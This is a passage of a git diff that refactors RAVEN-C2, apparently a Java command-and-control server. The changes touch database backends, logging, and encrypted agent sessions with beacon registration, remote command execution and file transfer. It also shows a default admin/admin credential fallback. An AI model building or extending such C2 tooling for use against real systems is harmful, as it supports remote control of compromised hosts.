LinkedHashMap<>(); - Admin.put("Username", AdminUser); - Admin.put("PasswordHash", HashPassword(AdminPass)); - Admin.put("Role", OperatorRole.FromString(AdminRole).name()); - Admin.put("CreatedAt", LocalDateTime.now().format(Fmt)); - Operators.put(AdminUser, Admin); + public MemoryDatabase(ServerConfig Configuration) { + String AdminUsername = Configuration != null ? Configuration.GetAdminUsername() : "admin"; + String AdminPassword = Configuration != null ? Configuration.GetAdminPassword() : "admin"; + String AdminRoleName = Configuration != null ? Configuration.GetAdminRole() : "SUPER"; + Map AdminEntry = new LinkedHashMap<>(); + AdminEntry.put("Username", AdminUsername); + AdminEntry.put("PasswordHash", HashPassword(AdminPassword)); + AdminEntry.put("Role", OperatorRole.FromString(AdminRoleName).name()); + AdminEntry.put("CreatedAt", LocalDateTime.now().format(TimestampFormat)); + Operators.put(AdminUsername, AdminEntry); } @Override @@ -52,35 +52,32 @@ public void SaveCommandLog(int AgentId, String Operator, String Command, String Row.put("Command", Command); Row.put("Output", Output); Row.put("Success", Success); - Row.put("Timestamp", LocalDateTime.now().format(Fmt)); + Row.put("Timestamp", LocalDateTime.now().format(TimestampFormat)); CommandLogs.add(Row); if (CommandLogs.size() > MaxEntries) CommandLogs.remove(0); } - @Override - public void SaveSessionEvent(Map Data, String Event) { - Map Row = new LinkedHashMap<>(Data); - Row.put("Event", Event); - Row.put("Timestamp", LocalDateTime.now().format(Fmt)); - SessionEvents.add(Row); - if (SessionEvents.size() > MaxEntries) SessionEvents.remove(0); - } - @Override public List> GetCommandHistory(int AgentId, int Limit) { return CommandLogs.stream() - .filter(R -> AgentId == 0 || Objects.equals(R.get("AgentId"), AgentId)) - .sorted((A, B) -> B.get("Timestamp").toString().compareTo(A.get("Timestamp").toString())) - .limit(Limit) + .filter(Row -> AgentId == 0 || AgentId == ((Number) Row.getOrDefault("AgentId", 0)).intValue()) + .skip(Math.max(0, CommandLogs.size() - Limit)) .collect(Collectors.toList()); } + @Override + public void SaveSessionEvent(Map Data, String EventType) { + Map Row = new LinkedHashMap<>(Data); + Row.put("EventType", EventType); + Row.put("Timestamp", LocalDateTime.now().format(TimestampFormat)); + SessionEvents.add(Row); + if (SessionEvents.size() > MaxEntries) SessionEvents.remove(0); + } + @Override public List> GetSessionHistory(int Limit) { - return SessionEvents.stream() - .sorted((A, B) -> B.get("Timestamp").toString().compareTo(A.get("Timestamp").toString())) - .limit(Limit) - .collect(Collectors.toList()); + int StartIndex = Math.max(0, SessionEvents.size() - Limit); + return new ArrayList<>(SessionEvents.subList(StartIndex, SessionEvents.size())); } @Override @@ -93,79 +90,91 @@ public String GetAgentNote(int AgentId) { return AgentNotes.getOrDefault(AgentId, ""); } + @Override + public List> GetAllAgentNotes() { + List> Result = new ArrayList<>(); + AgentNotes.forEach((AgentId, Note) -> { + Map Row = new LinkedHashMap<>(); + Row.put("AgentId", AgentId); + Row.put("Note", Note); + Result.add(Row); + }); + return Result; + } + @Override public boolean CreateOperator(String Username, String PasswordHash, OperatorRole Role) { if (Operators.containsKey(Username)) return false; - Map Op = new LinkedHashMap<>(); - Op.put("Username", Username); - Op.put("PasswordHash", PasswordHash); - Op.put("Role", Role.name()); - Op.put("CreatedAt", LocalDateTime.now().format(Fmt)); - Operators.put(Username, Op); + Map Entry = new LinkedHashMap<>(); + Entry.put("Username", Username); + Entry.put("PasswordHash", PasswordHash); + Entry.put("Role", Role.name()); + Entry.put("CreatedAt", LocalDateTime.now().format(TimestampFormat)); + Operators.put(Username, Entry); return true; } + @Override + public boolean DeleteOperator(String Username) { + if ("admin".equalsIgnoreCase(Username)) return false; + return Operators.remove(Username) != null; + } + @Override public boolean ValidateOperator(String Username, String PasswordHash) { - Map Op = Operators.get(Username); - if (Op == null) return false; - Object Hash = Op.get("PasswordHash"); - return Hash != null && PasswordHash.equals(Hash.toString()); + Map Operator = Operators.get(Username); + if (Operator == null) return false; + Object StoredHash = Operator.get("PasswordHash"); + return StoredHash != null && PasswordHash.equals(StoredHash.toString()); } @Override public OperatorRole GetOperatorRole(String Username) { - Map Op = Operators.get(Username); - if (Op == null) return OperatorRole.MEMBER; - Object R = Op.get("Role"); - return R != null ? OperatorRole.FromString(R.toString()) : OperatorRole.MEMBER; + Map Operator = Operators.get(Username); + if (Operator == null) return OperatorRole.MEMBER; + Object Role = Operator.get("Role"); + return Role != null ? OperatorRole.FromString(Role.toString()) : OperatorRole.MEMBER; } @Override public List> GetOperators() { return Operators.values() .stream() - .map(Op -> { - Map Safe = new LinkedHashMap<>(); - Safe.put("Username", Op.getOrDefault("Username", "")); - Safe.put("Role", Op.getOrDefault("Role", "MEMBER")); - Safe.put("CreatedAt", Op.getOrDefault("CreatedAt", "")); - Safe.put("LastSeen", LastSeenMap.getOrDefault(Op.getOrDefault("Username", "").toString(), "Never")); - return Safe; + .map(Operator -> { + Map SafeView = new LinkedHashMap<>(); + SafeView.put("Username", Operator.getOrDefault("Username", "")); + SafeView.put("Role", Operator.getOrDefault("Role", "MEMBER")); + SafeView.put("CreatedAt", Operator.getOrDefault("CreatedAt", "")); + SafeView.put("LastSeen", LastSeenTable.getOrDefault(Operator.getOrDefault("Username", "").toString(), "Never")); + return SafeView; }) .collect(Collectors.toList()); } @Override public boolean UpdateOperatorRole(String Username, OperatorRole Role) { - Map Op = Operators.get(Username); - if (Op == null) return false; - Op.put("Role", Role.name()); + Map Operator = Operators.get(Username); + if (Operator == null) return false; + Operator.put("Role", Role.name()); return true; } @Override public boolean UpdateOperatorPassword(String Username, String PasswordHash) { - Map Op = Operators.get(Username); - if (Op == null) return false; - Op.put("PasswordHash", PasswordHash); + Map Operator = Operators.get(Username); + if (Operator == null) return false; + Operator.put("PasswordHash", PasswordHash); return true; } - @Override - public boolean DeleteOperator(String Username) { - if ("admin".equalsIgnoreCase(Username)) return false; - return Operators.remove(Username) != null; - } - @Override public void UpdateLastSeen(String Username) { - LastSeenMap.put(Username, LocalDateTime.now().format(Fmt)); + LastSeenTable.put(Username, LocalDateTime.now().format(TimestampFormat)); } @Override public String GetLastSeen(String Username) { - return LastSeenMap.getOrDefault(Username, "Never"); + return LastSeenTable.getOrDefault(Username, "Never"); } @Override @@ -174,15 +183,15 @@ public void SaveChatLog(String FromOperator, String ToOperators, String Message) Entry.put("from_operator", FromOperator); Entry.put("to_operators", ToOperators); Entry.put("message", Message); - Entry.put("timestamp", LocalDateTime.now().format(Fmt)); + Entry.put("timestamp", LocalDateTime.now().format(TimestampFormat)); ChatLogs.add(Entry); if (ChatLogs.size() > 500) ChatLogs.remove(0); } @Override public List> GetChatLogs(int Limit) { - int Start = Math.max(0, ChatLogs.size() - Limit); - return new ArrayList<>(ChatLogs.subList(Start, ChatLogs.size())); + int StartIndex = Math.max(0, ChatLogs.size() - Limit); + return new ArrayList<>(ChatLogs.subList(StartIndex, ChatLogs.size())); } @Override diff --git a/src/main/java/com/raven/core/db/MongoDatabase.java b/RAVEN-C2/src/main/java/com/raven/core/database/MongoDatabase.java similarity index 92% rename from src/main/java/com/raven/core/db/MongoDatabase.java rename to RAVEN-C2/src/main/java/com/raven/core/database/MongoDatabase.java index 5db81a9..f2ae4df 100644 --- a/src/main/java/com/raven/core/db/MongoDatabase.java +++ b/RAVEN-C2/src/main/java/com/raven/core/database/MongoDatabase.java @@ -1,4 +1,4 @@ -package com.raven.core.db; +package com.raven.core.database; import com.mongodb.client.*; import com.mongodb.client.model.*; @@ -130,16 +130,32 @@ public void SetAgentNote(int AgentId, String Note) { @Override public String GetAgentNote(int AgentId) { try { - Document Doc = ColNotes.find(Filters.eq("agentid", AgentId)).first(); - if (Doc == null) return ""; - Object V = Doc.get("note"); - return V != null ? V.toString() : ""; - } catch (Exception E) { - Logger.Error("Mongo GetAgentNote: " + E.getMessage()); + Document Document = ColNotes.find(Filters.eq("agentid", AgentId)).first(); + if (Document == null) return ""; + Object Value = Document.get("note"); + return Value != null ? Value.toString() : ""; + } catch (Exception Exception) { + Logger.Error("Mongo GetAgentNote: " + Exception.getMessage()); return ""; } } + @Override + public List> GetAllAgentNotes() { + List> Result = new ArrayList<>(); + try { + for (Document Document : ColNotes.find()) { + Map Row = new LinkedHashMap<>(); + Row.put("AgentId", Document.get("agentid")); + Row.put("Note", Document.getString("note")); + Result.add(Row); + } + } catch (Exception Exception) { + Logger.Error("Mongo GetAllAgentNotes: " + Exception.getMessage()); + } + return Result; + } + @Override public boolean CreateOperator(String Username, String PasswordHash, OperatorRole Role) { try { diff --git a/src/main/java/com/raven/core/db/PostgresDatabase.java b/RAVEN-C2/src/main/java/com/raven/core/database/PostgresDatabase.java similarity index 93% rename from src/main/java/com/raven/core/db/PostgresDatabase.java rename to RAVEN-C2/src/main/java/com/raven/core/database/PostgresDatabase.java index 26a12c3..1d51a17 100644 --- a/src/main/java/com/raven/core/db/PostgresDatabase.java +++ b/RAVEN-C2/src/main/java/com/raven/core/database/PostgresDatabase.java @@ -1,4 +1,4 @@ -package com.raven.core.db; +package com.raven.core.database; import com.google.gson.Gson; import com.raven.core.output.Logger; @@ -14,9 +14,9 @@ public final class PostgresDatabase extends TeamDatabase { public PostgresDatabase(ServerConfig Config) throws Exception { this.Config = Config; - String Url = Config.GetDbUrl(); - String User = Config.GetDbUser(); - String Pass = Config.GetDbPassword(); + String Url = Config.GetDatabaseUrl(); + String User = Config.GetDatabaseUser(); + String Pass = Config.GetDatabasePassword(); if (!Url.startsWith("jdbc:postgresql://") && !Url.startsWith("jdbc:postgres://")) { throw new Exception("Invalid PostgreSQL URL — must start with jdbc:postgresql://"); } @@ -148,8 +148,21 @@ public void SetAgentNote(int AgentId, String Note) { public String GetAgentNote(int AgentId) { List> Rows = query("SELECT note FROM tcnotes WHERE agentid=?", AgentId); if (Rows.isEmpty()) return ""; - Object V = Rows.get(0).get("note"); - return V != null ? V.toString() : ""; + Object Value = Rows.get(0).get("note"); + return Value != null ? Value.toString() : ""; + } + + @Override + public List> GetAllAgentNotes() { + List> Rows = query("SELECT agentid, note FROM tcnotes ORDER BY agentid"); + List> Result = new ArrayList<>(); + for (Map Row : Rows) { + Map Entry = new LinkedHashMap<>(); + Entry.put("AgentId", Row.get("agentid")); + Entry.put("Note", Row.get("note")); + Result.add(Entry); + } + return Result; } @Override diff --git a/src/main/java/com/raven/core/db/SqliteDatabase.java b/RAVEN-C2/src/main/java/com/raven/core/database/SqliteDatabase.java similarity index 95% rename from src/main/java/com/raven/core/db/SqliteDatabase.java rename to RAVEN-C2/src/main/java/com/raven/core/database/SqliteDatabase.java index e6b1c37..2923bb0 100644 --- a/src/main/java/com/raven/core/db/SqliteDatabase.java +++ b/RAVEN-C2/src/main/java/com/raven/core/database/SqliteDatabase.java @@ -1,4 +1,4 @@ -package com.raven.core.db; +package com.raven.core.database; import com.raven.core.output.Logger; import com.raven.utils.ServerConfig; @@ -18,7 +18,7 @@ public final class SqliteDatabase extends TeamDatabase { public SqliteDatabase(ServerConfig Config) throws Exception { this.Config = Config; - String DbDir = Config.GetDbPath(); + String DbDir = Config.GetDatabasePath(); String DbFile = DbDir + "/raven.db"; Files.createDirectories(Paths.get(DbDir)); Class.forName("org.sqlite.JDBC"); @@ -242,6 +242,23 @@ public String GetAgentNote(int AgentId) { return ""; } + @Override + public List> GetAllAgentNotes() { + List> Result = new ArrayList<>(); + try (PreparedStatement Statement = Conn.prepareStatement("SELECT agentid, note FROM tcnotes ORDER BY agentid")) { + ResultSet ResultSet = Statement.executeQuery(); + while (ResultSet.next()) { + Map Row = new LinkedHashMap<>(); + Row.put("AgentId", ResultSet.getInt("agentid")); + Row.put("Note", ResultSet.getString("note")); + Result.add(Row); + } + } catch (Exception Exception) { + Logger.Verbose("SQLite GetAllAgentNotes: " + Exception.getMessage()); + } + return Result; + } + @Override public boolean CreateOperator(String Username, String PasswordHash, OperatorRole Role) { try (PreparedStatement Ps = Conn.prepareStatement("INSERT OR IGNORE INTO tcoperators (username,passwordhash,role,createdat,lastseen) VALUES (?,?,?,?,?)")) { diff --git a/src/main/java/com/raven/core/db/TeamDatabase.java b/RAVEN-C2/src/main/java/com/raven/core/database/TeamDatabase.java similarity index 95% rename from src/main/java/com/raven/core/db/TeamDatabase.java rename to RAVEN-C2/src/main/java/com/raven/core/database/TeamDatabase.java index c95c413..5444866 100644 --- a/src/main/java/com/raven/core/db/TeamDatabase.java +++ b/RAVEN-C2/src/main/java/com/raven/core/database/TeamDatabase.java @@ -1,8 +1,9 @@ -package com.raven.core.db; +package com.raven.core.database; import com.raven.core.output.Logger; import com.raven.utils.ServerConfig; -import java.util.*; +import java.util.List; +import java.util.Map; public abstract class TeamDatabase { @@ -82,7 +83,7 @@ public static OperatorRole FromString(String S) { } public static TeamDatabase Connect(ServerConfig Config) { - String Type = Config.GetDbType().toLowerCase(); + String Type = Config.GetDatabaseType().toLowerCase(); try { return switch (Type) { case "postgresql", "postgres" -> new PostgresDatabase(Config); @@ -119,6 +120,8 @@ public static TeamDatabase Connect(ServerConfig Config) { public abstract String GetAgentNote(int AgentId); + public abstract List> GetAllAgentNotes(); + public abstract boolean CreateOperator(String Username, String PasswordHash, OperatorRole Role); public abstract boolean ValidateOperator(String Username, String PasswordHash); diff --git a/src/main/java/com/raven/core/event/EventManager.java b/RAVEN-C2/src/main/java/com/raven/core/event/EventManager.java similarity index 100% rename from src/main/java/com/raven/core/event/EventManager.java rename to RAVEN-C2/src/main/java/com/raven/core/event/EventManager.java diff --git a/RAVEN-C2/src/main/java/com/raven/core/output/EventLog.java b/RAVEN-C2/src/main/java/com/raven/core/output/EventLog.java new file mode 100644 index 0000000..5d47077 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/core/output/EventLog.java @@ -0,0 +1,45 @@ +package com.raven.core.output; + +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; +import java.util.ArrayList; +import java.util.List; +import java.util.concurrent.CopyOnWriteArrayList; + +public final class EventLog { + + private static final DateTimeFormatter TimeFmt = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"); + + private final List Entries; + private final int MaxEntries; + + public EventLog(int MaxEntries) { + this.MaxEntries = MaxEntries; + this.Entries = new CopyOnWriteArrayList<>(); + } + + public void Add(String Message, boolean PrintNow) { + String Entry = "[" + LocalDateTime.now().format(TimeFmt) + "] " + Message; + Entries.add(Entry); + if (Entries.size() > MaxEntries) Entries.remove(0); + if (PrintNow) Logger.Info(Entry); + } + + public void Add(String Message) { + Add(Message, false); + } + + public int Count() { + return Entries.size(); + } + + public List GetAll() { + return new ArrayList<>(Entries); + } + + public List GetLast(int N) { + List All = GetAll(); + int Start = Math.max(0, All.size() - N); + return All.subList(Start, All.size()); + } +} diff --git a/src/main/java/com/raven/core/output/Logger.java b/RAVEN-C2/src/main/java/com/raven/core/output/Logger.java similarity index 63% rename from src/main/java/com/raven/core/output/Logger.java rename to RAVEN-C2/src/main/java/com/raven/core/output/Logger.java index fa9f2ad..1342edf 100644 --- a/src/main/java/com/raven/core/output/Logger.java +++ b/RAVEN-C2/src/main/java/com/raven/core/output/Logger.java @@ -1,8 +1,12 @@ package com.raven.core.output; +import com.raven.core.output.PromptManager; import com.raven.utils.AnsiColor; -import java.io.*; -import java.nio.file.*; +import java.io.BufferedWriter; +import java.io.FileWriter; +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Paths; import java.time.LocalDateTime; import java.time.format.DateTimeFormatter; import java.util.concurrent.ArrayBlockingQueue; @@ -74,39 +78,59 @@ private static String Timestamp() { return LocalDateTime.now().format(TimeFmt); } - private static void Emit(Level MessageLevel, String PlainTag, String ColorCode, String Message) { + private static String Format(String Message, Object[] Args) { + if (Args == null || Args.length == 0) return Message; + try { + return String.format(Message, Args); + } catch (java.util.IllegalFormatException E) { + return Message + " [FORMAT_ERROR: " + E.getMessage() + "]"; + } + } + + private static void Emit(Level MessageLevel, String PlainTag, String ColorCode, String Message, Object[] Args) { if (MessageLevel.ordinal() < CurrentLevel.ordinal()) return; + String Formatted = Format(Message, Args); String Times = Timestamp(); - String PlainLine = " [" + Times + "] [" + PlainTag + "] " + Message; - String ColorLine = AnsiColor.White + " [" + ColorCode + PlainTag + AnsiColor.White + "] " + AnsiColor.Dim + Message + AnsiColor.Reset; - System.out.println(ColorLine); + String PlainLine = " [" + Times + "] [" + PlainTag + "] " + Formatted; + String ColorLine = AnsiColor.White + " [" + ColorCode + PlainTag + AnsiColor.White + "] " + AnsiColor.Dim + Formatted + AnsiColor.Reset; + PromptManager.PrintLine(ColorLine); if (FileEnabled) FileQueue.offer(PlainLine); } - public static void Info(String Message) { - Emit(Level.INFO, "INFO", AnsiColor.Cyan, Message); + public static void Info(String Message, Object... Args) { + Emit(Level.INFO, "INFO", AnsiColor.Cyan, Message, Args); + } + + public static void Warn(String Message, Object... Args) { + Emit(Level.WARN, "WARN", AnsiColor.Orange, Message, Args); } - public static void Warn(String Message) { - Emit(Level.WARN, "WARN", AnsiColor.Orange, Message); + public static void Error(String Message, Object... Args) { + Emit(Level.ERROR, "ERROR", AnsiColor.BrightRed, Message, Args); } - public static void Error(String Message) { - Emit(Level.ERROR, "ERROR", AnsiColor.BrightRed, Message); + public static void Debug(String Message, Object... Args) { + Emit(Level.DEBUG, "DEBUG", AnsiColor.Magenta, Message, Args); } - public static void Debug(String Message) { - Emit(Level.DEBUG, "DEBUG", AnsiColor.Magenta, Message); + public static void Success(String Message, Object... Args) { + Emit(Level.INFO, "OK", AnsiColor.Green, Message, Args); } - public static void Success(String Message) { - Emit(Level.INFO, "OK", AnsiColor.Green, Message); + public static void Verbose(String Message, Object... Args) { + if (!Verbose) return; + Emit(Level.VERBOSE, "TRACE", AnsiColor.Dim, Message, Args); } public static void Custom(String Text) { System.out.println(Text); } + public static void Custom(String Text, Object... Args) { + System.out.print(Format(Text, Args)); + System.out.flush(); + } + public static void Custom(String Text, long DelayMs) { System.out.println(Text); if (DelayMs > 0) { @@ -120,25 +144,20 @@ public static void Custom(String Text, int DelayMs) { Custom(Text, (long) DelayMs); } - public static void Verbose(String Message) { - if (!Verbose) return; - Emit(Level.VERBOSE, "TRACE", AnsiColor.Dim, Message); - } - - public static void Messages(String Message) { - Info(Message); + public static void Messages(String Message, Object... Args) { + Info(Message, Args); } - public static void Warnings(String Message) { - Warn(Message); + public static void Warnings(String Message, Object... Args) { + Warn(Message, Args); } - public static void ErrorMessage(String Message) { - Error(Message); + public static void ErrorMessage(String Message, Object... Args) { + Error(Message, Args); } - public static void Warning(String Message) { - Warn(Message); + public static void Warning(String Message, Object... Args) { + Warn(Message, Args); } public static void Shutdown() { diff --git a/RAVEN-C2/src/main/java/com/raven/core/output/PromptManager.java b/RAVEN-C2/src/main/java/com/raven/core/output/PromptManager.java new file mode 100644 index 0000000..855ba40 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/core/output/PromptManager.java @@ -0,0 +1,30 @@ +package com.raven.core.output; + +import java.util.concurrent.atomic.AtomicBoolean; + +public final class PromptManager { + + private static volatile String ActivePromptLine = ""; + private static final AtomicBoolean PromptVisible = new AtomicBoolean(false); + + private PromptManager() {} + + public static void SetPrompt(String FullPromptLine) { + ActivePromptLine = FullPromptLine; + } + + public static void MarkVisible(boolean Visible) { + PromptVisible.set(Visible); + } + + public static synchronized void PrintLine(String Line) { + if (PromptVisible.get()) { + System.out.println(); + System.out.println(Line); + System.out.print(ActivePromptLine); + System.out.flush(); + } else { + System.out.println(Line); + } + } +} diff --git a/src/main/java/com/raven/core/server/BaseServer.java b/RAVEN-C2/src/main/java/com/raven/core/server/BaseServer.java similarity index 94% rename from src/main/java/com/raven/core/server/BaseServer.java rename to RAVEN-C2/src/main/java/com/raven/core/server/BaseServer.java index 3a98a10..43cb5c8 100644 --- a/src/main/java/com/raven/core/server/BaseServer.java +++ b/RAVEN-C2/src/main/java/com/raven/core/server/BaseServer.java @@ -1,18 +1,31 @@ package com.raven.core.server; import com.google.gson.Gson; -import com.raven.core.crypto.SymmetricCrypto; +import com.raven.core.cryptography.SymmetricCryptography; import com.raven.core.event.EventManager; import com.raven.core.event.EventManager.EventType; import com.raven.core.output.Logger; import com.raven.core.session.Session; import com.raven.core.session.SessionManager; import com.raven.utils.ServerConfig; -import java.io.*; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.io.PushbackInputStream; import java.net.Socket; -import java.nio.file.*; -import java.util.*; -import java.util.concurrent.*; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.TimeUnit; public abstract class BaseServer { @@ -32,7 +45,7 @@ public abstract class BaseServer { protected final SessionManager Sessions; protected final EventManager Events; protected volatile boolean Running; - protected final ConcurrentHashMap SessionCryptos = new ConcurrentHashMap<>(); + protected final ConcurrentHashMap SessionCryptos = new ConcurrentHashMap<>(); protected final ConcurrentHashMap CommandLocks = new ConcurrentHashMap<>(); protected final ConcurrentHashMap SocketLocks = new ConcurrentHashMap<>(); @@ -45,8 +58,8 @@ protected BaseServer(String Host, int Port, ListenerMode Mode, ServerConfig Conf this.Events = new EventManager(); } - protected SymmetricCrypto NewSessionCrypto() throws Exception { - SymmetricCrypto C = new SymmetricCrypto(); + protected SymmetricCryptography NewSessionCrypto() throws Exception { + SymmetricCryptography C = new SymmetricCryptography(); C.GenerateKey(); return C; } @@ -114,7 +127,7 @@ protected DetectionResult Detect(Socket Sock) throws IOException { return new DetectionResult(Type, PbIn, P); } - protected Map RavenHandshake(InputStream In, OutputStream Out, int TimeoutMs, SymmetricCrypto Crypto) throws Exception { + protected Map RavenHandshake(InputStream In, OutputStream Out, int TimeoutMs, SymmetricCryptography Crypto) throws Exception { ByteArrayOutputStream Buf = new ByteArrayOutputStream(); long Dead = System.currentTimeMillis() + TimeoutMs; int Depth = 0; @@ -213,7 +226,7 @@ protected void MonitorSession(int SessionId, Socket Sock, boolean IsRaw) { if (!IsRaw) { Object SockLock = SocketLocks.get(SessionId); if (SockLock == null) break; - SymmetricCrypto Crypto = SessionCryptos.get(SessionId); + SymmetricCryptography Crypto = SessionCryptos.get(SessionId); if (Crypto == null) break; synchronized (SockLock) { try { @@ -272,7 +285,7 @@ public String[] ExecuteCommand(int SessionId, String Command) { if (Resp == null || Resp.length == 0) return Fail(" No response"); return new String[] { "true", StripAnsi(new String(Resp, "UTF-8")) }; } else { - SymmetricCrypto Crypto = SessionCryptos.get(SessionId); + SymmetricCryptography Crypto = SessionCryptos.get(SessionId); if (Crypto == null) return Fail("Session crypto missing"); Object SLck = SocketLocks.get(SessionId); if (SLck == null) return Fail("Socket lock missing"); @@ -294,7 +307,7 @@ public String[] ExecuteCommand(int SessionId, String Command) { } } - private byte[] BuildFrame(SymmetricCrypto Crypto, byte[] Plaintext) throws Exception { + private byte[] BuildFrame(SymmetricCryptography Crypto, byte[] Plaintext) throws Exception { byte[] Encrypted = Crypto.Encrypt(Plaintext); byte[] Frame = new byte[Encrypted.length + EndMarker.length]; System.arraycopy(Encrypted, 0, Frame, 0, EndMarker.length > 0 ? Encrypted.length : 0); @@ -303,7 +316,7 @@ private byte[] BuildFrame(SymmetricCrypto Crypto, byte[] Plaintext) throws Excep return Frame; } - protected byte[] ReadFramedResponse(Socket Sock, int TimeoutMs, SymmetricCrypto Crypto) throws IOException { + protected byte[] ReadFramedResponse(Socket Sock, int TimeoutMs, SymmetricCryptography Crypto) throws IOException { Sock.setSoTimeout(TimeoutMs); ByteArrayOutputStream Buf = new ByteArrayOutputStream(); byte[] Tmp = new byte[Config.GetBufferSize()]; @@ -418,7 +431,7 @@ protected byte[] ReadResponse(Socket Sock, int TimeoutMs) throws IOException { private String[] HandleUpload(Session S, String Command) { if (S.IsRawMode()) return Fail("Upload unsupported in raw mode"); - SymmetricCrypto Crypto = SessionCryptos.get(S.GetId()); + SymmetricCryptography Crypto = SessionCryptos.get(S.GetId()); if (Crypto == null) return Fail("Session crypto missing"); String[] Parts = Command.split("\\s+", 3); if (Parts.length < 2) return Fail("Usage: upload [remote]"); @@ -456,7 +469,7 @@ private String[] HandleUpload(Session S, String Command) { } private String[] SendThenDownload(Session S, String Command) { - SymmetricCrypto Crypto = SessionCryptos.get(S.GetId()); + SymmetricCryptography Crypto = SessionCryptos.get(S.GetId()); if (Crypto == null) return Fail("Session crypto missing"); Object SLck = SocketLocks.get(S.GetId()); if (SLck == null) return Fail("Socket lock missing"); @@ -472,7 +485,7 @@ private String[] SendThenDownload(Session S, String Command) { } } - private String[] HandleDownload(Session S, SymmetricCrypto Crypto) { + private String[] HandleDownload(Session S, SymmetricCryptography Crypto) { try { ByteArrayOutputStream Buf = new ByteArrayOutputStream(); byte[] Tmp = new byte[Config.GetBufferSize()]; @@ -562,7 +575,7 @@ public String GetKeyBase64() { return SessionCryptos.values().iterator().next().GetKeyAsBase64Url(); } - public SymmetricCrypto GetSessionCrypto(int SessionId) { + public SymmetricCryptography GetSessionCrypto(int SessionId) { return SessionCryptos.get(SessionId); } diff --git a/src/main/java/com/raven/core/server/ListenerMode.java b/RAVEN-C2/src/main/java/com/raven/core/server/ListenerMode.java similarity index 100% rename from src/main/java/com/raven/core/server/ListenerMode.java rename to RAVEN-C2/src/main/java/com/raven/core/server/ListenerMode.java diff --git a/src/main/java/com/raven/core/server/RavenServer.java b/RAVEN-C2/src/main/java/com/raven/core/server/RavenServer.java similarity index 98% rename from src/main/java/com/raven/core/server/RavenServer.java rename to RAVEN-C2/src/main/java/com/raven/core/server/RavenServer.java index a7fa5ce..89eb619 100644 --- a/src/main/java/com/raven/core/server/RavenServer.java +++ b/RAVEN-C2/src/main/java/com/raven/core/server/RavenServer.java @@ -1,7 +1,7 @@ package com.raven.core.server; -import com.raven.core.crypto.CertificateManager; -import com.raven.core.crypto.SymmetricCrypto; +import com.raven.core.cryptography.CertificateManager; +import com.raven.core.cryptography.SymmetricCryptography; import com.raven.core.event.EventManager; import com.raven.core.event.EventManager.EventType; import com.raven.core.output.Logger; @@ -224,7 +224,7 @@ private int RegisterRaven(Socket Client, DetectionResult Det, String RemoteAddr) return -1; } - SymmetricCrypto Crypto = NewSessionCrypto(); + SymmetricCryptography Crypto = NewSessionCrypto(); Map Info = RavenHandshake(Det.Stream, Client.getOutputStream(), Config.GetConnectionTimeout(), Crypto); @@ -322,7 +322,7 @@ private int BeaconRegister(Socket Client, OutputStream Out, byte[] Body, boolean } } - SymmetricCrypto Crypto = NewSessionCrypto(); + SymmetricCryptography Crypto = NewSessionCrypto(); String Token = GenerateToken(); Session S = BuildSession(Client, Client.getRemoteSocketAddress().toString(), Info, false); S.SetSessionType(Session.Type.RAVEN); @@ -349,7 +349,7 @@ private void BeaconGet(OutputStream Out, Map Query) throws Excep HttpReply(Out, 403, "Forbidden", "Invalid token".getBytes()); return; } - SymmetricCrypto Crypto = SessionCryptos.get(Id); + SymmetricCryptography Crypto = SessionCryptos.get(Id); if (Crypto == null) { HttpReply(Out, 500, "Error", "Crypto missing".getBytes()); return; @@ -366,7 +366,7 @@ private void BeaconPost(OutputStream Out, Map Query, byte[] Body return; } if (Body.length > 0) { - SymmetricCrypto Crypto = SessionCryptos.get(Id); + SymmetricCryptography Crypto = SessionCryptos.get(Id); if (Crypto != null) { byte[] Dec = Base64.getDecoder().decode(Body); PendingOutputs.put(Id, Crypto.DecryptString(Dec)); diff --git a/src/main/java/com/raven/core/session/Session.java b/RAVEN-C2/src/main/java/com/raven/core/session/Session.java similarity index 100% rename from src/main/java/com/raven/core/session/Session.java rename to RAVEN-C2/src/main/java/com/raven/core/session/Session.java diff --git a/src/main/java/com/raven/core/session/SessionManager.java b/RAVEN-C2/src/main/java/com/raven/core/session/SessionManager.java similarity index 100% rename from src/main/java/com/raven/core/session/SessionManager.java rename to RAVEN-C2/src/main/java/com/raven/core/session/SessionManager.java diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/APP/WebApp.java b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/WebApp.java new file mode 100644 index 0000000..9b57af9 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/APP/WebApp.java @@ -0,0 +1,144 @@ +package com.raven.interfaces.APP; + +import com.raven.core.database.TeamDatabase; +import com.raven.core.event.EventManager.EventType; +import com.raven.core.output.Logger; +import com.raven.core.server.ListenerMode; +import com.raven.core.server.RavenServer; +import com.raven.interfaces.APP.api.AgentApi; +import com.raven.interfaces.APP.api.AgentGenApi; +import com.raven.interfaces.APP.api.AuthApi; +import com.raven.interfaces.APP.api.BroadcastApi; +import com.raven.interfaces.APP.api.ChatApi; +import com.raven.interfaces.APP.api.HistoryApi; +import com.raven.interfaces.APP.api.LogsApi; +import com.raven.interfaces.APP.api.OperatorApi; +import com.raven.interfaces.APP.api.ServerApi; +import com.raven.interfaces.APP.core.HttpRouter; +import com.raven.interfaces.APP.core.WebLogger; +import com.raven.interfaces.APP.core.WebServerManager; +import com.raven.interfaces.APP.shared.PathResolver; +import com.raven.utils.ServerConfig; +import com.sun.net.httpserver.HttpServer; +import java.net.InetSocketAddress; +import java.time.Instant; +import java.util.Map; +import java.util.concurrent.Executors; + +public final class WebApp { + + private final ServerConfig Config; + private final ListenerMode ActiveMode; + private final TeamDatabase Database; + + private final WebLogger WebLogger; + private final WebServerManager ServerManager; + private final PathResolver PathResolver; + + private final AuthApi AuthApi; + private final ServerApi ServerApiHandler; + private final AgentApi AgentApiHandler; + private final BroadcastApi BroadcastApiHandler; + private final HistoryApi HistoryApiHandler; + private final LogsApi LogsApiHandler; + private final OperatorApi OperatorApiHandler; + private final ChatApi 